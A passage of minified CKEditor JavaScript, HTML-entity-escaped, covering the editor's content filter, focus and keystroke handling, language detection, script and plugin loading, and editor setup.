n[q]?N.push(q+&quot;:&quot;+y[q]):z=!0;N.length&amp;&amp;(h.style=N.sort().join(&quot;; &quot;))}else H&amp;&amp;(h.style=H);if(!a.allClasses||a.hadInvalidClass){for(q=0;q&lt;k.length;++q)(a.allClasses||l[k[q]])&amp;&amp;m.push(k[q]);m.length&amp;&amp;(h[&quot;class&quot;]=m.sort().join(&quot; &quot;));r&amp;&amp;m.length&lt;r.split(/\s+/).length&amp;&amp;(z=!0)}else r&amp;&amp;(h[&quot;class&quot;]=r);z&amp;&amp;(g=1);if(!f.skipFinalValidation&amp;&amp;!p(b))return d.push(b),1}f.toHtml&amp;&amp;(b.name=b.name.replace(T,&quot;cke:$1&quot;));return g}function q(a){var b=[],c;for(c in a)-1&lt;c.indexOf(&quot;*&quot;)&amp;&amp;b.push(c.replace(/\*/g,&quot;.*&quot;));return b.length?
new RegExp(&quot;^(?:&quot;+b.join(&quot;|&quot;)+&quot;)$&quot;):null}function t(a){var b=a.attributes,c;delete b.style;delete b[&quot;class&quot;];if(c=CKEDITOR.tools.writeCssText(a.styles,!0))b.style=c;a.classes.length&amp;&amp;(b[&quot;class&quot;]=a.classes.sort().join(&quot; &quot;))}function p(a){switch(a.name){case &quot;a&quot;:if(!(a.children.length||a.attributes.name||a.attributes.id))return!1;break;case &quot;img&quot;:if(!a.attributes.src)return!1}return!0}function y(a){if(!a)return!1;if(!0===a)return!0;var b=q(a);return function(c){return c in a||b&amp;&amp;c.match(b)}}function A(){return new CKEDITOR.htmlParser.element(&quot;br&quot;)}
function z(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(&quot;br&quot;==a.name||F.$block[a.name])}function r(a,b,c){var d=a.name;if(F.$empty[d]||!a.children.length)&quot;hr&quot;==d&amp;&amp;&quot;br&quot;==b?a.replaceWith(A()):(a.parent&amp;&amp;c.push({check:&quot;it&quot;,el:a.parent}),a.remove());else if(F.$block[d]||&quot;tr&quot;==d)if(&quot;br&quot;==b)a.previous&amp;&amp;!z(a.previous)&amp;&amp;(b=A(),b.insertBefore(a)),a.next&amp;&amp;!z(a.next)&amp;&amp;(b=A(),b.insertAfter(a)),a.replaceWithChildren();else{var d=a.children,f;b:{f=F[b];for(var g=0,l=d.length,e;g&lt;l;++g)if(e=d[g],e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
!f[e.name]){f=!1;break b}f=!0}if(f)a.name=b,a.attributes={},c.push({check:&quot;parent-down&quot;,el:a});else{f=a.parent;for(var g=f.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||&quot;body&quot;==f.name,h,k,l=d.length;0&lt;l;)e=d[--l],g&amp;&amp;(e.type==CKEDITOR.NODE_TEXT||e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;F.$inline[e.name])?(h||(h=new CKEDITOR.htmlParser.element(b),h.insertAfter(a),c.push({check:&quot;parent-down&quot;,el:h})),h.add(e,0)):(h=null,k=F[f.name]||F.span,e.insertAfter(a),f.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||e.type!=CKEDITOR.NODE_ELEMENT||
k[e.name]||c.push({check:&quot;el-up&quot;,el:e}));a.remove()}}else d in{style:1,script:1}?a.remove():(a.parent&amp;&amp;c.push({check:&quot;it&quot;,el:a.parent}),a.replaceWithChildren())}function w(a,b,c){var d,f;for(d=0;d&lt;c.length;++d)if(f=c[d],!(f.check&amp;&amp;!a.check(f.check,!1)||f.left&amp;&amp;!f.left(b))){f.right(b,O);break}}function C(a,b){var c=b.getDefinition(),d=c.attributes,f=c.styles,g,e,l,h;if(a.name!=c.element)return!1;for(g in d)if(&quot;class&quot;==g)for(c=d[g].split(/\s+/),l=a.classes.join(&quot;|&quot;);h=c.pop();){if(-1==l.indexOf(h))return!1}else if(a.attributes[g]!=
d[g])return!1;for(e in f)if(a.styles[e]!=f[e])return!1;return!0}function x(a,b){var c,d;&quot;string&quot;==typeof a?c=a:a instanceof CKEDITOR.style?d=a:(c=a[0],d=a[1]);return[{element:c,left:d,right:function(a,c){c.transform(a,b)}}]}function B(a){return function(b){return C(b,a)}}function D(a){return function(b,c){c[a](b)}}var F=CKEDITOR.dtd,E=CKEDITOR.tools.copy,I=CKEDITOR.tools.trim,G=[&quot;&quot;,&quot;p&quot;,&quot;br&quot;,&quot;div&quot;];CKEDITOR.FILTER_SKIP_TREE=2;CKEDITOR.filter=function(a){this.allowedContent=[];this.disallowedContent=
[];this.elementCallbacks=null;this.disabled=!1;this.editor=null;this.id=CKEDITOR.tools.getNextNumber();this._={allowedRules:{elements:{},generic:[]},disallowedRules:{elements:{},generic:[]},transformations:{},cachedTests:{}};CKEDITOR.filter.instances[this.id]=this;if(a instanceof CKEDITOR.editor){a=this.editor=a;this.customConfig=!0;var b=a.config.allowedContent;!0===b?this.disabled=!0:(b||(this.customConfig=!1),this.allow(b,&quot;config&quot;,1),this.allow(a.config.extraAllowedContent,&quot;extra&quot;,1),this.allow(G[a.enterMode]+
&quot; &quot;+G[a.shiftEnterMode],&quot;default&quot;,1),this.disallow(a.config.disallowedContent))}else this.customConfig=!1,this.allow(a,&quot;default&quot;,1)};CKEDITOR.filter.instances={};CKEDITOR.filter.prototype={allow:function(b,c,d){if(!k(this,b,d))return!1;var f,e;if(&quot;string&quot;==typeof b)b=g(b);else if(b instanceof CKEDITOR.style){if(b.toAllowedContentRules)return this.allow(b.toAllowedContentRules(this.editor),c,d);f=b.getDefinition();b={};d=f.attributes;b[f.element]=f={styles:f.styles,requiredStyles:f.styles&amp;&amp;CKEDITOR.tools.objectKeys(f.styles)};
d&amp;&amp;(d=E(d),f.classes=d[&quot;class&quot;]?d[&quot;class&quot;].split(/\s+/):null,f.requiredClasses=f.classes,delete d[&quot;class&quot;],f.attributes=d,f.requiredAttributes=d&amp;&amp;CKEDITOR.tools.objectKeys(d))}else if(CKEDITOR.tools.isArray(b)){for(f=0;f&lt;b.length;++f)e=this.allow(b[f],c,d);return e}a(this,b,c,this.allowedContent,this._.allowedRules);return!0},applyTo:function(a,b,c,d){if(this.disabled)return!1;var f=this,g=[],e=this.editor&amp;&amp;this.editor.config.protectedSource,l,h=!1,k={doFilter:!c,doTransform:!0,doCallbacks:!0,toHtml:b};
a.forEach(function(a){if(a.type==CKEDITOR.NODE_ELEMENT){if(&quot;off&quot;==a.attributes[&quot;data-cke-filter&quot;])return!1;if(!b||&quot;span&quot;!=a.name||!~CKEDITOR.tools.objectKeys(a.attributes).join(&quot;|&quot;).indexOf(&quot;data-cke-&quot;))if(l=u(f,a,g,k),l&amp;1)h=!0;else if(l&amp;2)return!1}else if(a.type==CKEDITOR.NODE_COMMENT&amp;&amp;a.value.match(/^\{cke_protected\}(?!\{C\})/)){var c;a:{var d=decodeURIComponent(a.value.replace(/^\{cke_protected\}/,&quot;&quot;));c=[];var r,m,w;if(e)for(m=0;m&lt;e.length;++m)if((w=d.match(e[m]))&amp;&amp;w[0].length==d.length){c=!0;
break a}d=CKEDITOR.htmlParser.fragment.fromHtml(d);1==d.children.length&amp;&amp;(r=d.children[0]).type==CKEDITOR.NODE_ELEMENT&amp;&amp;u(f,r,c,k);c=!c.length}c||g.push(a)}},null,!0);g.length&amp;&amp;(h=!0);var m;a=[];d=G[d||(this.editor?this.editor.enterMode:CKEDITOR.ENTER_P)];for(var w;c=g.pop();)c.type==CKEDITOR.NODE_ELEMENT?r(c,d,a):c.remove();for(;m=a.pop();)if(c=m.el,c.parent)switch(w=F[c.parent.name]||F.span,m.check){case &quot;it&quot;:F.$removeEmpty[c.name]&amp;&amp;!c.children.length?r(c,d,a):p(c)||r(c,d,a);break;case &quot;el-up&quot;:c.parent.type==
CKEDITOR.NODE_DOCUMENT_FRAGMENT||w[c.name]||r(c,d,a);break;case &quot;parent-down&quot;:c.parent.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT||w[c.name]||r(c.parent,d,a)}return h},checkFeature:function(a){if(this.disabled||!a)return!0;a.toFeature&amp;&amp;(a=a.toFeature(this.editor));return!a.requiredContent||this.check(a.requiredContent)},disable:function(){this.disabled=!0},disallow:function(b){if(!k(this,b,!0))return!1;&quot;string&quot;==typeof b&amp;&amp;(b=g(b));a(this,b,null,this.disallowedContent,this._.disallowedRules);return!0},
addContentForms:function(a){if(!this.disabled&amp;&amp;a){var b,c,d=[],f;for(b=0;b&lt;a.length&amp;&amp;!f;++b)c=a[b],(&quot;string&quot;==typeof c||c instanceof CKEDITOR.style)&amp;&amp;this.check(c)&amp;&amp;(f=c);if(f){for(b=0;b&lt;a.length;++b)d.push(x(a[b],f));this.addTransformations(d)}}},addElementCallback:function(a){this.elementCallbacks||(this.elementCallbacks=[]);this.elementCallbacks.push(a)},addFeature:function(a){if(this.disabled||!a)return!0;a.toFeature&amp;&amp;(a=a.toFeature(this.editor));this.allow(a.allowedContent,a.name);this.addTransformations(a.contentTransformations);
this.addContentForms(a.contentForms);return a.requiredContent&amp;&amp;(this.customConfig||this.disallowedContent.length)?this.check(a.requiredContent):!0},addTransformations:function(a){var b,c;if(!this.disabled&amp;&amp;a){var d=this._.transformations,f;for(f=0;f&lt;a.length;++f){b=a[f];var g=void 0,e=void 0,l=void 0,h=void 0,k=void 0,r=void 0;c=[];for(e=0;e&lt;b.length;++e)l=b[e],&quot;string&quot;==typeof l?(l=l.split(/\s*:\s*/),h=l[0],k=null,r=l[1]):(h=l.check,k=l.left,r=l.right),g||(g=l,g=g.element?g.element:h?h.match(/^([a-z0-9]+)/i)[0]:
g.left.getDefinition().element),k instanceof CKEDITOR.style&amp;&amp;(k=B(k)),c.push({check:h==g?null:h,left:k,right:&quot;string&quot;==typeof r?D(r):r});b=g;d[b]||(d[b]=[]);d[b].push(c)}}},check:function(a,b,c){if(this.disabled)return!0;if(CKEDITOR.tools.isArray(a)){for(var d=a.length;d--;)if(this.check(a[d],b,c))return!0;return!1}var f,e;if(&quot;string&quot;==typeof a){e=a+&quot;\x3c&quot;+(!1===b?&quot;0&quot;:&quot;1&quot;)+(c?&quot;1&quot;:&quot;0&quot;)+&quot;\x3e&quot;;if(e in this._.cachedChecks)return this._.cachedChecks[e];d=g(a).$1;f=d.styles;var h=d.classes;d.name=d.elements;
d.classes=h=h?h.split(/\s*,\s*/):[];d.styles=l(f);d.attributes=l(d.attributes);d.children=[];h.length&amp;&amp;(d.attributes[&quot;class&quot;]=h.join(&quot; &quot;));f&amp;&amp;(d.attributes.style=CKEDITOR.tools.writeCssText(d.styles));f=d}else d=a.getDefinition(),f=d.styles,h=d.attributes||{},f&amp;&amp;!CKEDITOR.tools.isEmpty(f)?(f=E(f),h.style=CKEDITOR.tools.writeCssText(f,!0)):f={},f={name:d.element,attributes:h,classes:h[&quot;class&quot;]?h[&quot;class&quot;].split(/\s+/):[],styles:f,children:[]};var h=CKEDITOR.tools.clone(f),k=[],r;if(!1!==b&amp;&amp;(r=this._.transformations[f.name])){for(d=
0;d&lt;r.length;++d)w(this,f,r[d]);t(f)}u(this,h,k,{doFilter:!0,doTransform:!1!==b,skipRequired:!c,skipFinalValidation:!c});b=0&lt;k.length?!1:CKEDITOR.tools.objectCompare(f.attributes,h.attributes,!0)?!0:!1;&quot;string&quot;==typeof a&amp;&amp;(this._.cachedChecks[e]=b);return b},getAllowedEnterMode:function(){var a=[&quot;p&quot;,&quot;div&quot;,&quot;br&quot;],b={p:CKEDITOR.ENTER_P,div:CKEDITOR.ENTER_DIV,br:CKEDITOR.ENTER_BR};return function(c,d){var f=a.slice(),g;if(this.check(G[c]))return c;for(d||(f=f.reverse());g=f.pop();)if(this.check(g))return b[g];
return CKEDITOR.ENTER_BR}}(),destroy:function(){delete CKEDITOR.filter.instances[this.id];delete this._;delete this.allowedContent;delete this.disallowedContent}};var L={styles:1,attributes:1,classes:1},N={styles:&quot;requiredStyles&quot;,attributes:&quot;requiredAttributes&quot;,classes:&quot;requiredClasses&quot;},H=/^([a-z0-9\-*\s]+)((?:\s*\{[!\w\-,\s\*]+\}\s*|\s*\[[!\w\-,\s\*]+\]\s*|\s*\([!\w\-,\s\*]+\)\s*){0,3})(?:;\s*|$)/i,R={styles:/{([^}]+)}/,attrs:/\[([^\]]+)\]/,classes:/\(([^\)]+)\)/},P=/^cke:(object|embed|param)$/,
T=/^(object|embed|param)$/,O;O=CKEDITOR.filter.transformationsTools={sizeToStyle:function(a){this.lengthToStyle(a,&quot;width&quot;);this.lengthToStyle(a,&quot;height&quot;)},sizeToAttribute:function(a){this.lengthToAttribute(a,&quot;width&quot;);this.lengthToAttribute(a,&quot;height&quot;)},lengthToStyle:function(a,b,c){c=c||b;if(!(c in a.styles)){var d=a.attributes[b];d&amp;&amp;(/^\d+$/.test(d)&amp;&amp;(d+=&quot;px&quot;),a.styles[c]=d)}delete a.attributes[b]},lengthToAttribute:function(a,b,c){c=c||b;if(!(c in a.attributes)){var d=a.styles[b],f=d&amp;&amp;d.match(/^(\d+)(?:\.\d*)?px$/);
f?a.attributes[c]=f[1]:&quot;cke-test&quot;==d&amp;&amp;(a.attributes[c]=&quot;cke-test&quot;)}delete a.styles[b]},alignmentToStyle:function(a){if(!(&quot;float&quot;in a.styles)){var b=a.attributes.align;if(&quot;left&quot;==b||&quot;right&quot;==b)a.styles[&quot;float&quot;]=b}delete a.attributes.align},alignmentToAttribute:function(a){if(!(&quot;align&quot;in a.attributes)){var b=a.styles[&quot;float&quot;];if(&quot;left&quot;==b||&quot;right&quot;==b)a.attributes.align=b}delete a.styles[&quot;float&quot;]},matchesStyle:C,transform:function(a,b){if(&quot;string&quot;==typeof b)a.name=b;else{var c=b.getDefinition(),d=c.styles,
f=c.attributes,g,e,l,h;a.name=c.element;for(g in f)if(&quot;class&quot;==g)for(c=a.classes.join(&quot;|&quot;),l=f[g].split(/\s+/);h=l.pop();)-1==c.indexOf(h)&amp;&amp;a.classes.push(h);else a.attributes[g]=f[g];for(e in d)a.styles[e]=d[e]}}}}(),function(){CKEDITOR.focusManager=function(a){if(a.focusManager)return a.focusManager;this.hasFocus=!1;this.currentActive=null;this._={editor:a};return this};CKEDITOR.focusManager._={blurDelay:200};CKEDITOR.focusManager.prototype={focus:function(a){this._.timer&amp;&amp;clearTimeout(this._.timer);
a&amp;&amp;(this.currentActive=a);this.hasFocus||this._.locked||((a=CKEDITOR.currentInstance)&amp;&amp;a.focusManager.blur(1),this.hasFocus=!0,(a=this._.editor.container)&amp;&amp;a.addClass(&quot;cke_focus&quot;),this._.editor.fire(&quot;focus&quot;))},lock:function(){this._.locked=1},unlock:function(){delete this._.locked},blur:function(a){function e(){if(this.hasFocus){this.hasFocus=!1;var a=this._.editor.container;a&amp;&amp;a.removeClass(&quot;cke_focus&quot;);this._.editor.fire(&quot;blur&quot;)}}if(!this._.locked){this._.timer&amp;&amp;clearTimeout(this._.timer);var b=
CKEDITOR.focusManager._.blurDelay;a||!b?e.call(this):this._.timer=CKEDITOR.tools.setTimeout(function(){delete this._.timer;e.call(this)},b,this)}},add:function(a,e){var b=a.getCustomData(&quot;focusmanager&quot;);if(!b||b!=this){b&amp;&amp;b.remove(a);var b=&quot;focus&quot;,c=&quot;blur&quot;;e&amp;&amp;(CKEDITOR.env.ie?(b=&quot;focusin&quot;,c=&quot;focusout&quot;):CKEDITOR.event.useCapture=1);var d={blur:function(){a.equals(this.currentActive)&amp;&amp;this.blur()},focus:function(){this.focus(a)}};a.on(b,d.focus,this);a.on(c,d.blur,this);e&amp;&amp;(CKEDITOR.event.useCapture=
0);a.setCustomData(&quot;focusmanager&quot;,this);a.setCustomData(&quot;focusmanager_handlers&quot;,d)}},remove:function(a){a.removeCustomData(&quot;focusmanager&quot;);var e=a.removeCustomData(&quot;focusmanager_handlers&quot;);a.removeListener(&quot;blur&quot;,e.blur);a.removeListener(&quot;focus&quot;,e.focus)}}}(),CKEDITOR.keystrokeHandler=function(a){if(a.keystrokeHandler)return a.keystrokeHandler;this.keystrokes={};this.blockedKeystrokes={};this._={editor:a};return this},function(){var a,e=function(b){b=b.data;var d=b.getKeystroke(),e=this.keystrokes[d],
m=this._.editor;a=!1===m.fire(&quot;key&quot;,{keyCode:d,domEvent:b});a||(e&amp;&amp;(a=!1!==m.execCommand(e,{from:&quot;keystrokeHandler&quot;})),a||(a=!!this.blockedKeystrokes[d]));a&amp;&amp;b.preventDefault(!0);return!a},b=function(b){a&amp;&amp;(a=!1,b.data.preventDefault(!0))};CKEDITOR.keystrokeHandler.prototype={attach:function(a){a.on(&quot;keydown&quot;,e,this);if(CKEDITOR.env.gecko&amp;&amp;CKEDITOR.env.mac)a.on(&quot;keypress&quot;,b,this)}}}(),function(){CKEDITOR.lang={languages:{af:1,ar:1,bg:1,bn:1,bs:1,ca:1,cs:1,cy:1,da:1,de:1,&quot;de-ch&quot;:1,el:1,&quot;en-au&quot;:1,&quot;en-ca&quot;:1,
&quot;en-gb&quot;:1,en:1,eo:1,es:1,et:1,eu:1,fa:1,fi:1,fo:1,&quot;fr-ca&quot;:1,fr:1,gl:1,gu:1,he:1,hi:1,hr:1,hu:1,id:1,is:1,it:1,ja:1,ka:1,km:1,ko:1,ku:1,lt:1,lv:1,mk:1,mn:1,ms:1,nb:1,nl:1,no:1,pl:1,&quot;pt-br&quot;:1,pt:1,ro:1,ru:1,si:1,sk:1,sl:1,sq:1,&quot;sr-latn&quot;:1,sr:1,sv:1,th:1,tr:1,tt:1,ug:1,uk:1,vi:1,&quot;zh-cn&quot;:1,zh:1},rtl:{ar:1,fa:1,he:1,ku:1,ug:1},load:function(a,e,b){a&amp;&amp;CKEDITOR.lang.languages[a]||(a=this.detect(e,a));var c=this;e=function(){c[a].dir=c.rtl[a]?&quot;rtl&quot;:&quot;ltr&quot;;b(a,c[a])};this[a]?e():CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(&quot;lang/&quot;+
a+&quot;.js&quot;),e,this)},detect:function(a,e){var b=this.languages;e=e||navigator.userLanguage||navigator.language||a;var c=e.toLowerCase().match(/([a-z]+)(?:-([a-z]+))?/),d=c[1],c=c[2];b[d+&quot;-&quot;+c]?d=d+&quot;-&quot;+c:b[d]||(d=null);CKEDITOR.lang.detect=d?function(){return d}:function(a){return a};return d||a}}}(),CKEDITOR.scriptLoader=function(){var a={},e={};return{load:function(b,c,d,k){var m=&quot;string&quot;==typeof b;m&amp;&amp;(b=[b]);d||(d=CKEDITOR);var f=b.length,h=[],l=[],g=function(a){c&amp;&amp;(m?c.call(d,a):c.call(d,h,l))};if(0===
f)g(!0);else{var n=function(a,b){(b?h:l).push(a);0&gt;=--f&amp;&amp;(k&amp;&amp;CKEDITOR.document.getDocumentElement().removeStyle(&quot;cursor&quot;),g(b))},v=function(b,c){a[b]=1;var d=e[b];delete e[b];for(var f=0;f&lt;d.length;f++)d[f](b,c)},u=function(b){if(a[b])n(b,!0);else{var d=e[b]||(e[b]=[]);d.push(n);if(!(1&lt;d.length)){var f=new CKEDITOR.dom.element(&quot;script&quot;);f.setAttributes({type:&quot;text/javascript&quot;,src:b});c&amp;&amp;(CKEDITOR.env.ie&amp;&amp;8&gt;=CKEDITOR.env.version?f.$.onreadystatechange=function(){if(&quot;loaded&quot;==f.$.readyState||&quot;complete&quot;==
f.$.readyState)f.$.onreadystatechange=null,v(b,!0)}:(f.$.onload=function(){setTimeout(function(){v(b,!0)},0)},f.$.onerror=function(){v(b,!1)}));f.appendTo(CKEDITOR.document.getHead())}}};k&amp;&amp;CKEDITOR.document.getDocumentElement().setStyle(&quot;cursor&quot;,&quot;wait&quot;);for(var q=0;q&lt;f;q++)u(b[q])}},queue:function(){function a(){var b;(b=c[0])&amp;&amp;this.load(b.scriptUrl,b.callback,CKEDITOR,0)}var c=[];return function(d,e){var m=this;c.push({scriptUrl:d,callback:function(){e&amp;&amp;e.apply(this,arguments);c.shift();a.call(m)}});
1==c.length&amp;&amp;a.call(this)}}()}}(),CKEDITOR.resourceManager=function(a,e){this.basePath=a;this.fileName=e;this.registered={};this.loaded={};this.externals={};this._={waitingList:{}}},CKEDITOR.resourceManager.prototype={add:function(a,e){if(this.registered[a])throw Error(&#039;[CKEDITOR.resourceManager.add] The resource name &quot;&#039;+a+&#039;&quot; is already registered.&#039;);var b=this.registered[a]=e||{};b.name=a;b.path=this.getPath(a);CKEDITOR.fire(a+CKEDITOR.tools.capitalize(this.fileName)+&quot;Ready&quot;,b);return this.get(a)},
get:function(a){return this.registered[a]||null},getPath:function(a){var e=this.externals[a];return CKEDITOR.getUrl(e&amp;&amp;e.dir||this.basePath+a+&quot;/&quot;)},getFilePath:function(a){var e=this.externals[a];return CKEDITOR.getUrl(this.getPath(a)+(e?e.file:this.fileName+&quot;.js&quot;))},addExternal:function(a,e,b){a=a.split(&quot;,&quot;);for(var c=0;c&lt;a.length;c++){var d=a[c];b||(e=e.replace(/[^\/]+$/,function(a){b=a;return&quot;&quot;}));this.externals[d]={dir:e,file:b||this.fileName+&quot;.js&quot;}}},load:function(a,e,b){CKEDITOR.tools.isArray(a)||
(a=a?[a]:[]);for(var c=this.loaded,d=this.registered,k=[],m={},f={},h=0;h&lt;a.length;h++){var l=a[h];if(l)if(c[l]||d[l])f[l]=this.get(l);else{var g=this.getFilePath(l);k.push(g);g in m||(m[g]=[]);m[g].push(l)}}CKEDITOR.scriptLoader.load(k,function(a,d){if(d.length)throw Error(&#039;[CKEDITOR.resourceManager.load] Resource name &quot;&#039;+m[d[0]].join(&quot;,&quot;)+&#039;&quot; was not found at &quot;&#039;+d[0]+&#039;&quot;.&#039;);for(var g=0;g&lt;a.length;g++)for(var l=m[a[g]],h=0;h&lt;l.length;h++){var k=l[h];f[k]=this.get(k);c[k]=1}e.call(b,f)},this)}},CKEDITOR.plugins=
new CKEDITOR.resourceManager(&quot;plugins/&quot;,&quot;plugin&quot;),CKEDITOR.plugins.load=CKEDITOR.tools.override(CKEDITOR.plugins.load,function(a){var e={};return function(b,c,d){var k={},m=function(b){a.call(this,b,function(a){CKEDITOR.tools.extend(k,a);var b=[],f;for(f in a){var n=a[f],v=n&amp;&amp;n.requires;if(!e[f]){if(n.icons)for(var u=n.icons.split(&quot;,&quot;),q=u.length;q--;)CKEDITOR.skin.addIcon(u[q],n.path+&quot;icons/&quot;+(CKEDITOR.env.hidpi&amp;&amp;n.hidpi?&quot;hidpi/&quot;:&quot;&quot;)+u[q]+&quot;.png&quot;);e[f]=1}if(v)for(v.split&amp;&amp;(v=v.split(&quot;,&quot;)),n=0;n&lt;v.length;n++)k[v[n]]||
b.push(v[n])}if(b.length)m.call(this,b);else{for(f in k)n=k[f],n.onLoad&amp;&amp;!n.onLoad._called&amp;&amp;(!1===n.onLoad()&amp;&amp;delete k[f],n.onLoad._called=1);c&amp;&amp;c.call(d||window,k)}},this)};m.call(this,b)}}),CKEDITOR.plugins.setLang=function(a,e,b){var c=this.get(a);a=c.langEntries||(c.langEntries={});c=c.lang||(c.lang=[]);c.split&amp;&amp;(c=c.split(&quot;,&quot;));-1==CKEDITOR.tools.indexOf(c,e)&amp;&amp;c.push(e);a[e]=b},CKEDITOR.ui=function(a){if(a.ui)return a.ui;this.items={};this.instances={};this.editor=a;this._={handlers:{}};return this},
CKEDITOR.ui.prototype={add:function(a,e,b){b.name=a.toLowerCase();var c=this.items[a]={type:e,command:b.command||null,args:Array.prototype.slice.call(arguments,2)};CKEDITOR.tools.extend(c,b)},get:function(a){return this.instances[a]},create:function(a){var e=this.items[a],b=e&amp;&amp;this._.handlers[e.type],c=e&amp;&amp;e.command&amp;&amp;this.editor.getCommand(e.command),b=b&amp;&amp;b.create.apply(this,e.args);this.instances[a]=b;c&amp;&amp;c.uiItems.push(b);b&amp;&amp;!b.type&amp;&amp;(b.type=e.type);return b},addHandler:function(a,e){this._.handlers[a]=
e},space:function(a){return CKEDITOR.document.getById(this.spaceId(a))},spaceId:function(a){return this.editor.id+&quot;_&quot;+a}},CKEDITOR.event.implementOn(CKEDITOR.ui),function(){function a(a,d,g){CKEDITOR.event.call(this);a=a&amp;&amp;CKEDITOR.tools.clone(a);if(void 0!==d){if(!(d instanceof CKEDITOR.dom.element))throw Error(&quot;Expect element of type CKEDITOR.dom.element.&quot;);if(!g)throw Error(&quot;One of the element modes must be specified.&quot;);if(CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks&amp;&amp;g==CKEDITOR.ELEMENT_MODE_INLINE)throw Error(&quot;Inline element mode is not supported on IE quirks.&quot;);
if(!b(d,g))throw Error(&#039;The specified element mode is not supported on element: &quot;&#039;+d.getName()+&#039;&quot;.&#039;);this.element=d;this.elementMode=g;this.name=this.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO&amp;&amp;(d.getId()||d.getNameAtt())}else this.elementMode=CKEDITOR.ELEMENT_MODE_NONE;this._={};this.commands={};this.templates={};this.name=this.name||e();this.id=CKEDITOR.tools.getNextId();this.status=&quot;unloaded&quot;;this.config=CKEDITOR.tools.prototypedCopy(CKEDITOR.config);this.ui=new CKEDITOR.ui(this);this.focusManager=
new CKEDITOR.focusManager(this);this.keystrokeHandler=new CKEDITOR.keystrokeHandler(this);this.on(&quot;readOnly&quot;,c);this.on(&quot;selectionChange&quot;,function(a){k(this,a.data.path)});this.on(&quot;activeFilterChange&quot;,function(){k(this,this.elementPath(),!0)});this.on(&quot;mode&quot;,c);this.on(&quot;instanceReady&quot;,function(){this.config.startupFocus&amp;&amp;this.focus()});CKEDITOR.fire(&quot;instanceCreated&quot;,null,this);CKEDITOR.add(this);CKEDITOR.tools.setTimeout(function(){&quot;destroyed&quot;!==this.status?f(this,a):CKEDITOR.warn(&quot;editor-incorrect-destroy&quot;)},
0,this)}function e(){do var a=&quot;editor&quot;+ ++u;while(CKEDITOR.instances[a]);return a}function b(a,b){return b==CKEDITOR.ELEMENT_MODE_INLINE?a.is(CKEDITOR.dtd.$editable)||a.is(&quot;textarea&quot;):b==CKEDITOR.ELEMENT_MODE_REPLACE?!a.is(CKEDITOR.dtd.$nonBodyContent):1}function c(){var a=this.commands,b;for(b in a)d(this,a[b])}function d(a,b){b[b.startDisabled?&quot;disable&quot;:a.readOnly&amp;&amp;!b.readOnly?&quot;disable&quot;:b.modes[a.mode]?&quot;enable&quot;:&quot;disable&quot;]()}function k(a,b,c){if(b){var d,f,g=a.commands;for(f in g)d=g[f],(c||d.contextSensitive)&amp;&amp;
d.refresh(a,b)}}function m(a){var b=a.config.customConfig;if(!b)return!1;var b=CKEDITOR.getUrl(b),c=q[b]||(q[b]={});c.fn?(c.fn.call(a,a.config),CKEDITOR.getUrl(a.config.customConfig)!=b&amp;&amp;m(a)||a.fireOnce(&quot;customConfigLoaded&quot;)):CKEDITOR.scriptLoader.queue(b,function(){c.fn=CKEDITOR.editorConfig?CKEDITOR.editorConfig:function(){};m(a)});return!0}function f(a,b){a.on(&quot;customConfigLoaded&quot;,function(){if(b){if(b.on)for(var c in b.on)a.on(c,b.on[c]);CKEDITOR.tools.extend(a.config,b,!0);delete a.config.on}c=
a.config;a.readOnly=c.readOnly?!0:a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.is(&quot;textarea&quot;)?a.element.hasAttribute(&quot;disabled&quot;)||a.element.hasAttribute(&quot;readonly&quot;):a.element.isReadOnly():a.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE?a.element.hasAttribute(&quot;disabled&quot;)||a.element.hasAttribute(&quot;readonly&quot;):!1;a.blockless=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?!(a.element.is(&quot;textarea&quot;)||CKEDITOR.dtd[a.element.getName()].p):!1;a.tabIndex=c.tabIndex||a.element&amp;&amp;a.element.getAttribute(&quot;tabindex&quot;)||
0;a.activeEnterMode=a.enterMode=a.blockless?CKEDITOR.ENTER_BR:c.enterMode;a.activeShiftEnterMode=a.shiftEnterMode=a.blockless?CKEDITOR.ENTER_BR:c.shiftEnterMode;c.skin&amp;&amp;(CKEDITOR.skinName=c.skin);a.fireOnce(&quot;configLoaded&quot;);a.dataProcessor=new CKEDITOR.htmlDataProcessor(a);a.filter=a.activeFilter=new CKEDITOR.filter(a);h(a)});b&amp;&amp;null!=b.customConfig&amp;&amp;(a.config.customConfig=b.customConfig);m(a)||a.fireOnce(&quot;customConfigLoaded&quot;)}function h(a){CKEDITOR.skin.loadPart(&quot;editor&quot;,function(){l(a)})}function l(a){CKEDITOR.lang.load(a.config.language,
a.config.defaultLanguage,function(b,c){var d=a.config.title;a.langCode=b;a.lang=CKEDITOR.tools.prototypedCopy(c);a.title=&quot;string&quot;==typeof d||!1===d?d:[a.lang.editor,a.name].join(&quot;, &quot;);a.config.contentsLangDirection||(a.config.contentsLangDirection=a.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?a.element.getDirection(1):a.lang.dir);a.fire(&quot;langLoaded&quot;);g(a)})}function g(a){a.getStylesSet(function(b){a.once(&quot;loaded&quot;,function(){a.fire(&quot;stylesSet&quot;,{styles:b})},null,null,1);n(a)})}function n(a){var b=a.config,
